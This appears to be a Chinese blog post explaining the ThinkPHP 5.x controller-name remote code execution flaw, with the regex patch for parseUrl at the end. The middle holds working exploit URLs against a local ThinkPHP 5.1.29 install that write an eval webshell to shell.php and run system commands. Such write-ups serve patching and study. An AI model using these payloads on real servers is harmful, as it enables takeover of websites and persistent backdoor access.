发布时间: 2020-3-25 文章作者: myluzh 分类名称: PHP 朗读文章
// 获取控制器名 $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。
http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST['code']);?>
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&key=1|phpinfo
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
发表评论